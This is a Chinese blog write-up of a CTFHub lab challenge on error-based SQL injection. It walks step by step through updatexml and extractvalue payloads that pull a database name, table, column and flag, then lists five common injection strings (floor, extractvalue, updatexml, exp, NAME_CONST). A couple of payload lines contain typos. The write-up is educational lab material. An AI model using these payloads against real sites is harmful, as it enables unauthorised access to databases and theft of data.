CTFHub | 报错注入

灰太狼 2024-04-01 11:48 101阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **报错注入：**
> 
> （无）

![62d6c3f13fdd496aa1e3a0a90ccee760.png][] 网页显示内容

#### 0x02 解题过程 ####

因为报错注入的语句比较多，测试了几个函数发现 updatexml 函数存在 SQL 报错注入漏洞，得到数据库名称 sqli 后，查询数据库表名，发现一个可疑表名 flag 。检查这个 flag 表中的列，发现一个列名为 flag ，查询数据发现此题 flag 。发现数据不完整，使用 mid 函数进行查询从字符 2 开始得到完整数据。

**Ⅰ**查询数据库名称

![606c126ff15f4f1bbfd5df48e88021cb.png][]

union select updatexml(1,concat(0x7e,database(),0x7e),1);

**Ⅱ**查询当前数据库sqli的表名，发现有一个表名为flag比较可疑

![6cef4dcae2b74c6681f83fc0dc2212a6.png][]

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

**Ⅲ**查询当前表flag，发现有一个列为flag

![080a186218bc4e009b7fe4a328e15c95.png][]

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

**Ⅳ**查询flag列名中的数据发现此题flag，但是发现flag不完整

![ccb614dbd0b740789bb18991dd011ab1.png][]

and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

**Ⅴ**使用mid函数跳过第一个字符c，提取剩下的全部字符

![234d9005bfb140469421da0913ddd2ab.png][]

and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

#### 0x03 报错注入 ####

**注入语句解析：**

> **查询数据库：union select updatexml(1,concat(0x7e,database(),0x7e),1);**
> 
> **\#updatexml 对XML文档进行查询的函数，database() 数据库**

> **查询表名：and extractvalue(1,concat(0x7e,(select group\_concat(table\_name) from information\_schema.tables where table\_schema='sqli'),0x7e))--+**
> 
> **\#table 表，schema 元数据的一个抽象集合**

> **查询列名：and extractvalue(1,concat(0x7e,(select group\_concat(column\_name) from information\_schema.columns where table\_name='flag'),0x7e))--+**

> **查询数据：and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+**

> **提取字符：and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+**

**mid 函数使用方法：**

<table> 
 <tbody> 
  <tr> 
   <th>参数</th> 
   <th>描述</th> 
  </tr> 
  <tr> 
   <td>column_name</td> 
   <td>必需。要提取字符的字段。</td> 
  </tr> 
  <tr> 
   <td>start</td> 
   <td>必需。规定开始位置（起始值是 1）。</td> 
  </tr> 
  <tr> 
   <td>length</td> 
   <td>可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。</td> 
  </tr> 
 </tbody> 
</table>

**payload：mid((select flag from flag),column\_name,start,length**

**常用注入语句：**

**1.floor()报错注入**

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

**2.extractvalue()报错注入**

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

**3.updatexml()报错注入**

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

**4.exp()报错注入**

nion select (exp(~(select * FROM(SELECT USER())a))),2,3--+

**5.NAME\_CONST()**

union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

#### 0x04 参考文献 ####

> \[1\].郁离歌. SQL注入之报错注入的一些随笔\[EB/OL\]. \[2022-10-28\]. https://blog.csdn.net/like98k/article/details/79646512.
> 
> \[2\].Dar1in9. sql注入之报错注入\[EB/OL\]. \[2022-10-28\]. https://blog.csdn.net/silence1\_/article/details/90812612.
> 
> \[3\].w3school. SQL MID() 函数\[EB/OL\]. \[2022-10-28\]. https://www.w3school.com.cn/sql/sql\_func\_mid.asp.

#### **0x05 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[62d6c3f13fdd496aa1e3a0a90ccee760.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/2c6874cdc03b4d53b05421f35f96f0da.png
[606c126ff15f4f1bbfd5df48e88021cb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/3e6f3621ffce4505baa2bb603970ff3f.png
[6cef4dcae2b74c6681f83fc0dc2212a6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/7706bce7cc0d48a58d9a469138120bf3.png
[080a186218bc4e009b7fe4a328e15c95.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/7aa9d835b20545aa8c9deadc8de7c3d7.png
[ccb614dbd0b740789bb18991dd011ab1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/7cdc664ed3444ee09f84ea02316d32f1.png
[234d9005bfb140469421da0913ddd2ab.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/80058421f81244b0a3d5426bf27a9634.png